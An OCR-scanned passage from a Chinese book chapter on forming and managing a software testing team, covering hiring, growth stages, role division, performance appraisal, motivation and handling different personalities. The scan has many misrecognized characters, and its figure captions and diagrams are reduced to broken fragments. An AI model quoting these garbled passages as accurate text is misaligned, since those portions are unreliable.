齐 , 相 互 了 解 不 够 ,没有 凝聚 力 , 是 相互 考察 的 时 期 ,这 时 候 秉 承 少 而 精 的 原 
则 是 上 上 之 策 。 

在 具体 招 人 过 程 中 ,技术 能 力 可 以 不 是 最 重要 的 ,因为 技术 能 力 是 可 以 
通过 后 天 培养 来 提升 的 ,而 有 些 东 西 是 无 法 通过 后 天 培养 来 改变 的 ,或 者 说 
是 很 难 改 变 的 。 所 以 ,有 态度 、 有 激情 、 有 理想 的 人 才 是 最 重要 的 。 我 们 在 
招聘 过 程 中 常会 碰 到 以 下 几 种 类 型 的 人 。 
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1) 刚 毕 业 的 人 

这 类 型 的 人 相对 来 说 有 活力 、 能 吃 苗 加 班 、 人 际 关系 简单 ,只 是 可 能 在 
能 力 这 块 相 对 来 说 弱 一 点 ,不 过 这 个 我 倒 觉 得 没 那么 要 紧 。 如 果 你 的 团队 
需要 活力 ,不 想 过 早 地 出 现 * 斗 争 ”, 这 类 型 的 人 再 合适 不 过 了 。 而 且 如 果 你 
领导 得 当 说 不 定 可 以 培养 成 未 来 团队 骨干 。 

2) 有 一 些 工 作 经 验 的 人 

这 类 人 既 不 会 完全 没有 经 验 , 又 不 会 太 过 于 “圆滑 ”, 至 少 还 没有 被 恶习 
彻底 感染 ,也 是 我 最 钟爱 的 一 类 型 人 。 有 激情 .有 想法 .不 世故 .无 包 补 、 不 
拖 检 ,总体 来 说 可 塑性 较 强 ,是 可 以 考虑 培养 的 重点 。 

这 里 我 表达 一 个 较为 客观 的 观点 : 现在 在 求职 中 90 后 的 占 比 越 来 越 
大 ,薪水 也 越 来 越 高 ,甚至 高 过 有 四 五 年 工作 经 验 的 人 也 不 足 为 奇 。 比 如 ， 
我 之 前 的 有 的 学 员 月 薪 达 到 18K ,不 能 说 非常 高 但 应 该 是 高 于 不 少 有 多 年 工 
作 经 验 的 测试 人 员 了 。 当 然 , 这 里 不 是 去 刻意 抬 高 90 后 ,只 是 相对 于 80 后 
而 言 , 他 们 的 压力 小 ,没有 家 庭 等 包 裕 ,所 以 可 以 更 加 自由 和 专注 地 学 习 , 我 
们 不 得 不 承认 有 了 时候 顾 虚 太 多 是 会 阻碍 进步 的 。 

3) 有 多 年 工作 经 验 的 人 

在 选择 这 类 人 的 时 候 是 比较 纠结 的 ,有 时 候 你 需要 他 们 的 经 验 和 资历 ， 
但 有 时 候 你 又 担心 他 们 的 “圆滑 和 态度 ”。 当 然 , 我 说 的 只 是 一 种 情况 ,有 经 
验 又 有 能 力 还 有 端正 态度 的 还 是 很 多 的 ,只 不 过 是 怕 “ 一 颗 老 鼠 屎 坏 了 一 锅 
粥 ”而 已 。 

4) 测试 高 管 

这 里 所 谓 的 测试 高 管 是 指 类 似 测试 经 理 、 测 试 总 监 以 上 级 别 的 ,不 论 是 
空降 还 是 内 部 提拔 ,一定 要 有 真实 的 团队 管理 经 验 ,可 以 从 大 局 考虑 ,而 不 
是 谋私 利 。 

有 种 情况 也 是 在 业界 经 常 遇 到 的 ,就 是 当空 降 一 个 高 管 时 一 般 都 会 带 
来 一 支 团 队 ,毕竟 这 支 团队 可 能 和 自己 的 默契 更 好 ,更 容易 推进 工作 。 但 同 
时 带 来 的 问题 就 是 “ 老 员工 ”可 能 会 面临 比较 乾 熔 的 处 境 。 


小 强 课 党 


不 知道 大 家 有 没有 这 样 的 感受 ,现在 很 多 企业 招聘 都 存在 几 个 典型 
的 问题 。 
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(1) 招聘 流程 太 长 。 有 的 企业 居然 要 等 半 个 月 才能 等 到 最 终 的 确 
认 ,我 也 是 醉 了 啊 。 

(2) 要 求 虚 高 。 招 聘 要 求 上 写 得 天 花 乱 附 ,恨不得 招 个 “超人 ”, 但 实 
际 工作 中 根本 用 不 到 ,或 者 说 用 到 得 很 少 。 

(3) 总 想 要 最 好 的 。 还 是 那 句 话 , 最 好 的 不 见得 合适 ,只 有 合适 的 才 
是 最 好 的 。 至 少 我 在 招聘 人 的 时 候 看 重 的 是 这 个 人 的 品 性 ,思考 能 力 、 
沟通 能 力 、 学 习 能 力 , 至 于 技术 是 排 在 后 面 的 ,毕竟 优秀 的 人 是 少数 ,我 
们 只 能 尽 可 能 地 招聘 那些 未 来 可 以 成 为 英才 的 人 ,这 就 是 “未 来 价值 
投资 ”。 


3. 合理 * 拢 心 ” 


当 把 人 都 招聘 来 之 后 如 何 管 住 员 工 的 “ 心 ” 就 成 了 管理 者 初 建 测试 团队 
后 面临 的 最 大 问题 了 。 

合理 * 拢 心 ? 是 指 , 要 通过 合理 的 方法 来 提升 凝聚 力 , 大 家 千 万 不 要 以 为 
是 靠 " 牌 门 那 道 ?来 拉拢 人 心 啊 , 我 想 表 达 的 是 通过 合理 的 正常 的 .积极 向 
上 的 方法 来 引导 大 家 。 

我 们 可 以 从 以 下 几 个 方面 来 考虑 。 

(1) 站 在 员工 的 角度 ,他 来 你 这 里 干 一 份 工作 的 出 发 点 无 非 是 获得 基础 
的 生存 保障 ,只 要 你 钱 给 足 了 什么 都 好 说 。 但 如 果 你 钱 给 不 足 呢 ? 那 就 提 
供 一 个 好 的 工作 环境 ,给 人 以 “家 ”的 感觉 。 但 如 果 好 的 工作 环境 也 提供 不 
了 呢 ? 那 就 提供 一 个 未 来 个 人 发 展 的 平台 ,给 每 个 员工 勾画 一 个 值得 期 待 
的 愿景 ,毕竟 真正 的 人 才 , 看 中 的 不 仅仅 是 眼前 的 利益 ,他 们 更 渴望 与 部 门 
一 道成 长 一 同 发 展 ,他 们 更 需要 的 是 一 个 宽广 的 平台 ,或 者 说 是 一 个 值得 
为 之 付出 的 未 来 。 

(2) 细节 有 时 候 也 很 重要 。 俗 话说 得 好 “成 大 事 者 ,不 拘 小 节 ”, 但 有 时 
候 细节 也 会 决定 一 切 。 初 建 的 测试 团队 中 ,员工 刚刚 入 职 , 缺 乏 对 公司 、 部 
门 的 了 解 , 没 有 特别 强烈 的 归属 感 ,这 时 候 细节 的 东西 往往 会 对 他 们 产生 较 
大 的 影响 。 比 如 ,工作 中 的 帮助 ,午饭 等 ,多 从 生活 的 小 细节 入 手 会 有 意 想 
不 到 的 效果 哦 。 


4. 培养 “核心 ” 
《亮剑 ) 里 有 一 段 话 : 一 支部 队 的 战斗 意志 是 由 它 的 首 任 军 事 长 官 留存 


人 第 12 章 “测试 团队 的 组 建 与 管理 


下 来 的 。 团 队 的 管理 也 是 如 此 ,你 的 作风 ,你 的 性 格 ,都 会 影响 团队 人 员 的 
日 常 举动 。 你 是 什么 样 的 管理 者 就 会 打造 出 一 支 什 么 样 的 团队 。 所 以 , 初 
建 测试 团队 虽然 缺少 沉淀 ,但 同时 也 更 利于 管理 者 按照 自己 希望 的 方向 去 
加 以 打造 。 

当然 , 随 着 团队 后 期 的 不 断 发 展 ,人 员 会 越 来 越 多 ,这 时 候 再 单 靠 自 己 
就 会 非常 疲惫 、 劳 心 劳 力 ,所 以 在 发 展 的 过 程 中 要 有 意识 地 培养 一 些 骨 干 力 
量 。 这 些 骨干 力量 将 来 会 在 团队 中 有 一 些 影 响 力 ,逐步 构成 团队 的 核心 基 
石 ,也 是 保持 团队 稳定 战斗 力 的 良 方 。“ 未 雨 绸 缪 "也 是 一 个 优秀 管理 者 必 
备 的 能 力 。 


12.6 如 何 高 效 管理 测试 团队 


一 支 优秀 团队 的 组 建 和 管理 是 需要 精心 打磨 的 ,大 致 会 经 历 初创 期 、 发 
展期 .稳定 期 (持续 改进 期 ) 这 几 个 阶段 ,每 个 阶段 的 侧重 点 都 会 有 所 不 同 ， 
如 图 12.4 所 示 。 


改进 目标 | “全 罗 是 名 规 窟 人 
改进 目标 逐步 建立 规范 
初期 | 一 一- 引入 考核 制度 


KR 


并 人 和 地 
| 改进 目标 建立 缺陷 库 
3 上 | 分 组 分 职责 
发 展期 提升 测试 手段 


Sr 


赵 吉 3 
改进 目标 天 量 电 思想 的 深 

寺 续 改进 期 六 -=- 一 =- 一 一 一 全 | ”产品 业务 的 深入 

持续 改进 期 产业 务 的 深 入 


NR 


图 12.4 团队 发 展 模型 
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下 面 我 就 分 别 来 聊 聊 每 个 阶段 管理 者 应 该 关注 哪些 事情 。 
12.6.1 初创 期 测试 团队 的 管理 


除了 在 12. 5 节 中 提 到 的 要 点 外 ,还 有 几 个 要 点 是 需要 关注 的 ,大 致 
如 下 。 

1) 培养 “心腹 ” 

这 里 并 没有 贬义 的 意思 ,所 谓 “ 心 腹 ” 就 是 你 比较 了 解 或 者 跟随 自己 多 
年 的 人 。 这 里 我 直接 给 大 家 分 享 下 之 前 我 自己 在 创建 测试 团队 的 时 候 是 如 
何 做 的 。 

刚 创建 时 我 并 没有 大 量 地 去 招聘 测试 工程 师 , 而 是 拉 了 几 个 认识 、 靠 谱 
的 朋友 过 来 ,因为 前 期 是 最 不 稳定 的 ,多 少 都 会 遇 到 内 部 .外 部 的 双重 压力 ， 
如 果 你 打 过 去 了 那么 就 成 功 了 一 半 , 所 以 前 期 一 定 要 有 靠 谱 的 朋友 来 做 支 
援 , 不 然 很 难 去 推进 一 些 事情 ,。“ 先 苗 后 甜 ”* 这 个 道理 人 人 都 懂 , 但 不 是 人 人 
都 能 打 过 去 的 。 

2) 逐步 建立 流程 

俗话 说 得 好 “无 规矩 不 成 方圆 ", 所 有 好 的 结果 一 定 会 有 一 套 较为 合理 
的 流程 体系 做 支撑 。 有 时 候 我 们 太 在 意 结果 而 忽略 了 过 程 ,但 其 实 有 个 道 
理 大 家 得 明白 ,如 果 你 的 流程 是 好 的 ,那么 出 来 的 结果 也 不 会 差 。 

初创 的 团队 之 间 缺 乏 默 契 , 需 要 磨合 和 培养 ,所 以 必须 有 一 些 基本 的 流 
程 规范 来 约束 ,这 样 才 能 减少 混乱 的 风险 。 这 个 过 程 中 作为 管理 者 一 定 要 
拿 担 得当, 不 要 制定 过 于 详细 苛刻 的 流程 规范 ,这 样 会 限制 团队 发 展 ; 也 
不 能 没有 任何 流程 规范 ,这 样 团 队 会 陷入 混乱 ,掌握 一 个 “ 度 ” 才 能 保持 团 
队 有 条 不 这 地 前 进 。 图 12. 5 所 示 的 是 一 个 对 于 线 上 问题 的 处 理 流程 规范 
示例 。 

3) 求 稳 不 求 胜 

这 个 阶段 最 重要 的 是 保持 工作 的 稳定 ,如 果 能 出 一 些 成 绩 更 好 。 不 要 
育 目 地 去 应 用 性 能 测试 、 自 动 化 测试 等 (很 多 没有 经 验 的 管理 者 会 犯 这 个 错 
误 ) ,不 然 你 根基 都 没 打 牢 可 能 就 倒塌 了 。 在 这 个 阶段 技术 不 是 最 重要 的 ， 
而 且 在 我 看 来 是 最 不 重要 的 ,只 有 打 过 了 这 个 阶段 逐步 稳定 后 提升 技术 才 
能 发 挥 它 的 价值 。 同 时 ,本 阶段 在 内 部 测试 分 工 上 也 并 没有 明显 的 界限 , 需 
要 大 家 通力 合作 。 
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线 上 问题 处 理 流程 
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图 12.5 线 上 问题 处 理 流程 


12.6.2 发 展期 测试 团队 的 管理 


随 着 初创 期 的 结束 ,团队 进入 快速 发 展 的 阶段 ,人 员 在 增加 、 任 务 在 增 
加 ,但 时 间 却 在 减少 ,这 时 候 会 面临 不 少 球 手 的 问题 。 

即便 这 样 ,也 不 要 盲目 地 扩充 太 多 人 员 , 扩 充 人 员 过 多 会 造成 工作 不 饱 
和 , 太 少 又 会 使 得 下 属 感觉 很 疲惫 ,所 以 拿捏 恰当 才能 维护 团队 的 稳定 性 。 
同时 在 技术 的 提升 上 建议 选择 一 项 进行 团队 内 部 的 学 习 和 推进 ,不 建议 同 
时 进行 多 项 技术 推进 ,毕竟 大 家 对 于 新 东西 是 有 抵触 的 ,不 利于 落地 。 如 果 
允许 可 以 招聘 这 方面 的 人 才 进 入 团队 ,但 一 定 要 选 对 人 , 那 种 光 会 说 不 会 做 
的 一 定 不 能 招 ,否则 会 影响 团队 稳定 。 之 后 剩 下 的 工作 就 是 按部就班 推进 
了 ,这 里 还 有 一 点 个 人 经 验 分 享 给 大 家 , 那 就 是 在 推进 一 项 新 技术 的 时 候 要 
由 易 到 难 , 这 样 会 比较 有 效果 ,也 容易 出 成 绩 。 

就 我 个 人 的 一 些 心 得 而 言 ,可 以 尝试 从 以 下 几 个 方面 来 推进 。 

1) 分 工 和 责任 明确 

团队 成 员 越 来 越 多 的 时 候 就 必须 明确 分 工 和 责任 ,防止 推脱 和 内 部 的 
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“扯皮 ”。 明 确 分 工 和 责任 带 来 的 好 处 显而易见 : 
。 可 以 有 效 地 看 到 每 个 人 的 工作 量 和 饱和 度 , 利 于 评估 当前 团队 的 
状况 ; 
。 每 个 人 明确 了 自己 的 责任 , 且 可 以 深入 研究 自己 负责 的 东西 ; 
。 合理 分 解 了 任务 体系 ,便于 进行 管理 。 
常见 的 职位 分 工 如 下 (不 同 的 分 工 完成 不 同 的 职责 工作 ) : 
。 业务 测试 ,主要 是 负责 系统 的 功能 业务 测试 ,包括 手工 测试 和 自动 化 
测试 ,这 类 型 的 测试 应 该 是 占据 绝 大 多 数 的 ; 
。 测试 开发 , 当 测 试 团队 足够 庞大 的 时 候 可 能 就 需要 有 一 定 的 平台 化 
产品 来 支持 测试 团队 本 身 了 ,这 时 候 测 试 开发 的 价值 就 可 以 完全 体 
现 出 来 ; 
。 性 能 测试 ,尤其 是 类 似 电 商 这 样 的 系统 和 钱 息息相关 , 宕 机 3 秒 就 有 
可 能 损失 上 千 万 ,所 以 对 系统 的 性 能 测试 也 是 重 中 之 重 ; 
。 专项 测试 ,这 个 主要 是 针对 移动 端 APP 的 ,如 APP 的 内 存 .CPU.、 电 
量 流量 .GPU 等 的 测试 ; 
。 QA, 严 格 来 说 ,国内 的 测试 团队 有 QA 的 比较 少 ,QA 主要 是 根据 项 
目 收集 质量 数据 ,然后 进行 分 析 , 对 研发 体系 和 质量 体系 进行 优化 和 
推进 工作 。 
虽然 有 这 么 多 的 分 类 ,但 在 实际 团队 内 部 这 种 分 类 又 不 会 太 清晰 。 比 
如 ,没有 性 能 测试 工作 的 时 候 不 可 能 让 你 闲 着 ,你 就 来 做 功能 测试 。 至 少 我 
个 人 觉得 不 要 过 分 区 分 是 比较 好 的 ,毕竟 任何 脱离 业务 的 工作 都 是 无 效 的 ， 
只 有 深入 了 解 业务 才 能 把 更 好 的 技术 放 在 合适 的 位 置 使 用 ,使 其 发 挥 应 有 
的 作用 。 
2) 考核 明确 
大 家 一 定 会 有 这 样 的 经 历 , 当 团队 成 员 越 来 越 多 的 时 候 必然 会 出 现 一 
些 “ 不 干 活 ”的 人 滥 千 充 数 , 会 严重 影响 团队 氛围 。 所 以 明确 考核 体系 就 是 
必然 ,通过 考核 体系 来 合理 地 动态 地 调整 分 工 , 较 为 客观 地 管理 团队 。 大 
家 感 兴趣 的 绩效 考核 体系 会 在 后 续 章 节 中 和 大 家 分 享 。 
3) 建立 缺陷 库 
人 员 的 增加 也 意味 着 工作 量 的 增加 ,那么 缺陷 自然 也 不 会 少 。 这 时 候 
我 们 就 可 以 逐步 建立 缺陷 库 了 ,缺陷 库 建 立 的 重要 性 以 及 它 能 给 我 们 带 来 
的 好 处 我 会 在 后 续 章 节 中 和 大 家 分 享 。 
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4) 改进 测试 手段 

初创 期 我 们 不 建议 大 家 过 早 地 引入 性 能 测试 .自动 化 测试 等 测试 手段 ， 
而 到 了 发 展期 ,我 们 可 以 尝试 逐步 引 和 了。 毕竟 这 时 候 较为 稳定 ,资源 充 
足 , 引 入 不 同 的 测试 手段 可 以 提升 测试 效率 ,更 早 地 切入 测试 ,从 而 提升 测 
试 的 整体 质量 。 

当时 我 自己 是 这 么 引入 的 , 仅 供 大 家 参考 。 


首先 引入 性 能 测试 。 但 当时 我 们 不 做 全 面 的 性 能 测试 ,而 是 先 从 接 
口 级 开始 ,逐步 建立 规范 、 积 累 经 验 , 从 无 到 有 地 建立 了 自己 的 性 能 
考核 体系 。 很 多 朋友 面 对 什 么 都 没有 的 情况 就 特别 害怕 ,其 实 我 觉 
得 大 可 不 必 , 换 个 角度 来 看 ,这 正 是 你 自由 发 挥 的 时 机 。 

性 能 测试 引入 之 后 逐步 进行 完善 。 比 如 , 刚 开始 我 们 能 监控 的 资源 
有 限 , 能 分 析 的 范围 也 有 限 , 但 这 些 都 不 是 阻碍 我 们 的 借口 ,有 困难 
就 克服 困难 ,有 难题 就 攻克 难题 。 性 能 测试 的 完善 也 逐步 推动 了 运 
维 体系 的 建立 ,一 套 完整 的 运 维 体系 监控 系统 慢 慢 地 搭建 完成 ,对 于 
做 性 能 测试 的 工程 师 来 说 绝对 是 值得 庆祝 的 一 件 事 情 。 也 是 从 这 个 
过 程 中 我 再 次 体会 到 ,测试 的 价值 不 在 于 技术 ,而 在 于 推动 整体 研发 
体系 的 完善 和 改进 ,是 研发 体系 中 不 可 缺少 的 重要 部 分 。 

尝试 自动 化 测试 的 引入 。 为 什么 当时 我 没有 首先 引入 自动 化 测试 
呢 ? 主要 是 考虑 到 成 本 问题 ,包括 学 习 成 本 和 投入 产 出 比 。 毕 竞 不 
论 是 企业 还 是 部 门 ,投入 总 是 要 回报 的 ,有 代码 能 力 的 测试 工程 师 较 
少 ,招聘 和 培训 成 本 较 高 ,而 自动 化 测试 带 来 的 价值 需要 在 后 期 体 
现 , 周 期 太 长 ,所 以 并 没有 在 一 开始 引入 。 当 性 能 测试 的 引入 得 到 部 
门 以 及 领导 肯定 之 后 你 就 有 了 资本 ,这 时 候 再 来 引入 自动 化 测试 可 
谓 顺 其 自然 。 至 于 自动 化 测试 应 该 引入 哪个 层级 的 ,我 们 在 第 1 章 
已 经 讲解 过 每 个 层级 的 特点 ,这 里 不 再 讲述 。 


12.6.3 稳定 期 测试 团队 的 管理 


经 过 发 展期 的 进一步 磨炼 后 ,团队 逐步 发 展 到 较为 稳定 的 状态 ,在 这 个 
阶段 我 们 需要 做 的 就 是 持续 改进 ,让 团队 变 得 更 有 活力 。 请 注意 我 这 里 说 
的 是 活力 ,而 不 是 稳定 ,因为 太 过 于 稳定 就 会 出 现 问 题 , 变 得 懒散 ,所 以 适当 
地 给 予 团队 刺激 ,让 团队 保持 危机 感 ,也 是 促进 一 支 团队 积极 向 上 的 最 好 


方法 。 
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在 这 个 阶段 主要 关注 如 下 几 个 方面 。 

1) 团队 文化 建设 

文化 建设 不 太 好 描述 , 它 包括 人 价值观、 使命 感 .道德 约束 、 管 理 制 度 等 内 
容 。 我 们 常见 的 Team Building 并 不 是 文化 建设 , 它 只 是 属于 团队 文化 建设 
中 的 一 种 形式 。 除 此 之 外 , 像 教育 、 培 训 、 宣 传 .文化 娱乐 .联谊 等 也 是 团队 
文化 建设 的 形式 。 

总 之 ,团队 文化 建设 是 以 最 大 限度 地 统一 员工 意志 、 规 范 员工 行为 、 增 
强 员工 凝聚力 为 主要 服务 目标 的 。 

2) 项 目 管理 

当 团 队 较 为 庞大 时 ,项 目 管理 的 知识 和 思维 就 比较 重要 了 ,尤其 是 一 些 
项 目 管理 中 的 常用 方法 对 于 保持 团队 的 执行 力 和 规范 性 有 着 很 重要 的 作 
用 。 项目 管 理 方面 的 知识 体系 比较 庞大 , 感 兴 趣 的 朋友 可 以 自己 看 看 这 方 
面 的 书 , 此 处 就 不 展开 讲述 了 。 

3) 业务 和 技术 的 深入 研究 

。 产品 业务 方面 : 测试 团队 不 仅仅 是 完成 测试 的 工作 ,更 应 该 推动 产 
品 的 整体 质量 ,包括 在 产品 设计 、 优 化 改进 方面 提供 合理 的 建议 。 突 
然 想 到 一 句 话 : 一 个 优秀 的 测试 工程 师 应 该 比 产品 更 懂 测 试 , 比 开 
发 更 懂 产 品 ( 感 觉 是 要 通 死 宝宝 们 的 节奏 啊 ) 。 
技术 方面 : 当 测试 团队 有 了 一 定 的 技术 储备 后 可 能 需要 进行 平台 化 
的 转变 ,就 是 开发 平台 级 产品 来 用 于 支撑 测试 内 部 的 工作 ,比如 阿里 
的 Macaca 平台 。 另 外 , 随 着 公司 的 发 展 ,如 果 产 品 业 务 也 变 得 多 样 
化 、 复 杂 化 起 来 ,那么 针对 产品 的 专用 测试 工具 可 能 也 需要 测试 团队 
内 部 进行 开发 ,比如 腾讯 的 APT .GT 等 。 

在 针对 稳定 期 的 团队 进行 管理 的 时 候 , 既 要 合理 刺激 团队 ,保持 团队 的 
积极 向 上 ,又 要 平衡 团队 的 稳定 ,必要 的 时 候 进行 “换血 ”也 是 可 以 的 ,毕竟 
时 间 长 了 免不了 出 现 * 拉 帮 结 派 ” 的 现象 ,破坏 稳定 从 而 出 现 * 内 部 斗争 ”, 这 
样 就 得 不 偿 失 了 。 


12.7 如 何 考核 和 激励 测试 团队 


虽然 我 自己 对 绩效 考核 也 没 啥 好 感 , 但 也 不 得 不 承认 ,没有 一 定 的 约束 
全 赁 自觉 肯定 是 不 行 的 ,员工 需要 激励 ,企业 需要 控制 范围 避免 过 度 浪费 
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等 ,所 以 绩效 考核 也 就 此 诞生 了 。 
绩效 考核 具有 两 面 性 ,用 好 了 可 以 激励 团队 ,用 得 不 好 就 会 造成 团队 的 
不 稳定 。 这 里 我 就 自己 的 一 些 经 验 和 大 家 分 享 一 下 。 


12.7.1 如 何 进行 测试 团队 的 考核 


1. 绩效 考核 的 现状 


部 分 公司 的 绩效 考核 其 实 就 是 摆设 ,存在 “ 假 大 空 ”的 现象 ,基本 是 由 领 
导 来 决定 或 者 大 家 轮 询 评级 (我 是 不 是 又 爆料 了 ,感觉 要 被 打 死 的 节奏 啊 ) 
而 且 和 钱 挂钩 ,实际 效果 并 不 好 ,此 处 请 自行 “ 脑 补 ”。 


2. 绩效 考核 点 


绩效 考核 中 有 几 个 基本 点 是 必需 的 。 比 如 ,测试 的 效率 和 质量 ,沟通 协 
作 能 力 、 学 习 能 力 、 贡 献 度 等 ,但 具体 的 考核 方式 要 根据 实际 情况 来 制定 ， 
图 12.6 就 是 之 前 我 们 考核 时 的 一 些 点 , 仅 供 大 家 参考 
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图 12.6 绩效 考核 点 
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从 图 中 可 以 看 出 ,考核 的 点 相对 来 说 还 是 比较 多 的 ,包括 了 硬 技能 方 
面 的 、 软 技能 方面 的 ,管理 能 力 以 及 学 习 能 力 等 。 这 样 设计 的 出 发 点 在 于 
尽 可 能 地 扩大 覆盖 度 , 因 为 每 个 人 都 有 各 自 的 长 处 ,比如 ,A 擅长 沟通 和 管 
理 ,B 擅 长 技术 ,如 果 考 核 点 太 少 或 者 都 是 技术 方面 的 考核 点 ,显然 对 A 就 
不 公平 了 。 所 以 和 设计 测试 用 例 一 样 , 尽 可 能 地 提升 覆盖 率 , 保 持 客观 


公正 。 
3. 绩效 考核 模型 


衍生 出 来 的 绩效 考核 模型 和 绩效 考核 点 不 一 样 ,前 者 更 加 抽象 和 全 局 ， 
是 站 在 一 个 高 度 设计 的 概要 纲领 ,而 后 者 只 是 列 出 了 零散 的 点 。 此 处 也 和 
大 家 一 起 分 享 下 ,如 图 12.7 所 示 。 


_ 有 较 好 的 项 目 管理 思维 方法 
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图 12.7 绩效 考核 模型 


绩效 考核 的 基本 大 纲 都 大 同 小 异 ,需要 根据 实际 的 情况 作 灵 活 的 调整 ， 
多 一 些 公 平 , 多 一 些 落 地 ,多 一 些 激 励 效 果 会 更 好 。 

绩效 考核 期 不 要 设置 得 太 短 ,如 果 太 短 不 但 不 利于 考核 还 容易 出 现 较 
大 的 抵制 情绪 。 一 般 周期 为 3 个 月 或 者 半年 。 大 致 的 考核 项 目 包括 但 不 限 
手 以 下 风 个 。 

(1) 技能 管理 。 主 要 从 技术 技能 和 非 技术 技能 方面 进行 考核 , 软 硬 
兼备 。 

(2) 配置 管理 。 从 代码 和 文档 两 个 方面 考核 ,毕竟 文档 对 于 测试 工程 师 
来 说 是 最 重要 的 资料 。 而 代码 的 管理 也 很 重要 ,尤其 是 对 于 性 能 测试 和 自 
动 化 测试 而 言 ,每 次 代码 的 更 新 都 应 该 利用 配置 管理 工具 进行 版 本 管理 。 

(3) 项 目 管理 。 对 于 团队 中 的 Leader 来 说 这 项 是 比较 重要 的 考核 ,对 
于 项 目的 把 控 、 进 度 的 把 控 以 及 各 个 阶段 应 该 产 出 的 文档 等 都 需要 考虑 。 
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(4) 效率 管理 。 主 要 考核 是 否 可 以 合理 地 安排 自己 的 任务 ,还 有 能 否 及 
时 完成 工作 。 有 不 少 朋 友 有 拖 省 的 症状 ,有 时 候 不 到 最 后 一 刻 绝 不 动手 ,这 
种 严重 的 拖 消 是 绝对 要 不 得 的 。 

而 对 于 绩效 工资 来 说 ,不 同 的 绩效 等 级 可 能 拿 到 的 工资 会 不 一 样 ,一 旦 
涉及 钱 就 会 比较 敏感 ,所 以 良好 的 、 公 开 的 、 公 正 的 、 透 明 的 绩效 考核 体系 就 
尤为 重要 了 。 和 希望 本 节 内 容 能 对 刚刚 步 和 人 管理 岗位 或 者 正在 迷茫 的 管理 者 
们 提供 一 些 思路 吧 。 


12.7.2 如何 激励 测试 团队 


激励 测试 团队 需要 有 一 定 的 “艺术 手段 >, 重要 的 是 抓 住 团队 成 员 的 品 
性 ,这 样 你 就 可 以 综合 所 有 人 的 特点 来 制订 激励 计划 ,从 而 保持 团队 的 健康 
和 稳定 。 以 个 人 经 验 来 说 ,有 如 下 几 种 方式 可 以 尝试 ,不 见得 对 , 仅 供 参考 
而 已。 

1) 钱 

谈 钱 俗 ,但 是 不 可 耻 , 我 付出 了 , 拿 到 我 该 得 的 回报 有 什么 不 好 意思 的 ? 
难道 免费 的 东西 就 伟大 ,商业 的 东西 就 无 耻 吗 ? 哪个 伟大 企业 不 是 挣 钱 的 ? 
所 以 ,如果 能 实 实在 在 地 在 薪水 或 者 奖金 上 做 一 些 奖励 那 是 最 有 效 的 激励 
方法 了 ,效果 是 棒 棒 呕 ! 

2) 技术 


点 ”。 站 在 公司 的 角度 来 看 ,其 实 我 也 是 理解 的 ,毕竟 公司 招 你 是 来 干 活 的 ， 
而 且 现在 产品 变化 节奏 如 此 之 快 , 哪 有 那么 多 时 间 让 你 学 习 , 不 加 班 就 不 错 
了 。 那 么 站 在 管理 者 角度 而 言 , 这 个 恰好 也 是 激励 团队 的 一 种 方法 ,定期 进 


行内 部 的 技术 分 享 或 者 邀请 一 些 外 部 的 朋友 来 和 大 家 交流 交流 ,都 可 以 从 
侧面 激励 团队 成 员 ,营造 良好 的 团队 气氛 , 别 小 看 这 些 哦 。 
3) 精神 


这 个 确实 有 点 虚无 强 绢 的 感觉 ,但 我 觉得 这 也 是 除了 钱 之 外 最 有 效 的 
激励 方法 了 。 比 如 ,可 以 设 定 各 种 团队 内 部 的 荣誉 奖励 体系 ,达到 标准 颁发 
证 书 ; 再 比如 ,对 于 有 特别 贡献 的 成 员 可 以 给 予 一 定 的 头衔 称号 。 充 分 利用 
人 的 虚荣 ,存在 感 .认同 感 等 特点 进行 激励 ,效果 也 是 棒 棒 央 。 

4) 领导 力 

这 里 的 领导 力 并 不 是 说 你 带 团队 的 能 力 ,而 是 说 你 的 承担 能 力 。 例 如 
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团队 成 员 犯 错 了 ,你 怎么 处 理 ? 是 要 批评 还 是 要 开除 ? 当然 每 个 人 都 会 有 
不 同 的 处 理 方法 ,但 如 果 换 作 是 我 ,而 且 这 个 团队 成 员 也 是 初 犯 ,也 许 我 会 
帮 他 把 这 个 黑 锅 背 下 来 。 是 正常 人 都 会 有 羞耻 心 , 他 会 铭记 ,还 有 可 能 以 后 
成 为 骨干 呢 。 所 以 我 也 常 和 我 的 学 员 说 跟 对 一 个 好 领导 比 进入 一 家 好 公司 
要 重要 得 多 。 


12.8 人 性 管理 


人 性 是 一 个 复杂 但 又 充满 未 知 的 领域 ,可 能 大 家 阅读 到 这 里 会 想 : 你 为 
什么 要 谈 人 性 啊 , 人 性 和 我 们 的 团队 建设 .管理 有 什么 关系 吗 ? 我 想 说 : 关 
系 特别 大 。 

一 文 团队 中 ,不 可 能 所 有 的 成 员 都 一 种 性 格 , 一 个 特点 ,肯定 有 很 多 不 
同 , 那 如 何 应 对 不 同性 格 和 特点 的 人 也 是 管理 者 需要 的 技能 ,这 里 就 或 多 或 
少 地 涉及 了 人 性 的 管理 。 由 于 我 才 玖 学 浅 ,只 是 把 自己 的 经 验 和 想法 总 结 
分 享 给 大 家 ,并 不 代表 我 说 的 就 是 对 的 ,只 是 希望 给 大 家 提供 一 些 思路 
而 已 。 

那 对 于 团队 中 不 同类 型 的 人 我 们 应 该 怎么 来 “区 别 对 待 ” 呢 ? 


1. 有 能 力 、 有 野心 的 人 


我 个 人 觉得 这 是 一 帮 比 较 乾 粹 的 人 。 对 于 一 个 团队 而 言 ,管理 者 希望 
招 到 有 能 力 的 人 ,但 又 害怕 有 能 力 的 人 “造反 ”( 唉 ,人 就 是 如 此 的 矛盾 )。 如 
果 某 一 天 他 们 发 现 现在 的 环境 已 经 无 法 满足 他 们 的 要 求 ,他 们 也 许 会 离 你 
而 去 ,对 于 这 样 的 人 管理 者 必须 时 刻 注意 ,创造 空间 给 他 们 发 挥 。 

这 里 还 涉及 一 个 概念 是 “风险 管理 ”。 比 如 ,我 之 前 在 带 测试 团队 的 时 
候 每 隔 一 段 时 间 就 会 让 轮换 所 有 人 的 工作 ,这 样 就 能 保证 每 个 人 都 会 接触 
到 不 同 的 业务 ,如 果 有 人 离职 ,其 他 人 也 可 以 快速 接手 ,不 至 于 无 人 顶替 ,从 
而 减少 团队 内 部 变化 带 来 的 风险 。 


2. 处 事 圆滑 的 人 


圆滑 本 身 并 没有 错 ,但 过 分 圆滑 就 不 好 了 ,我 相信 任何 团队 中 一 定 会 有 
这 样 的 人 存在 。 这 种 人 一 般 都 是 团队 的 “ 搅 屎 棍 ”", 对 于 他 们 的 管理 我 觉得 ， 
能 为 我 所 用 就 留 下 ,不 能 就 舍 去 。 
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3. 聪明 的 人 


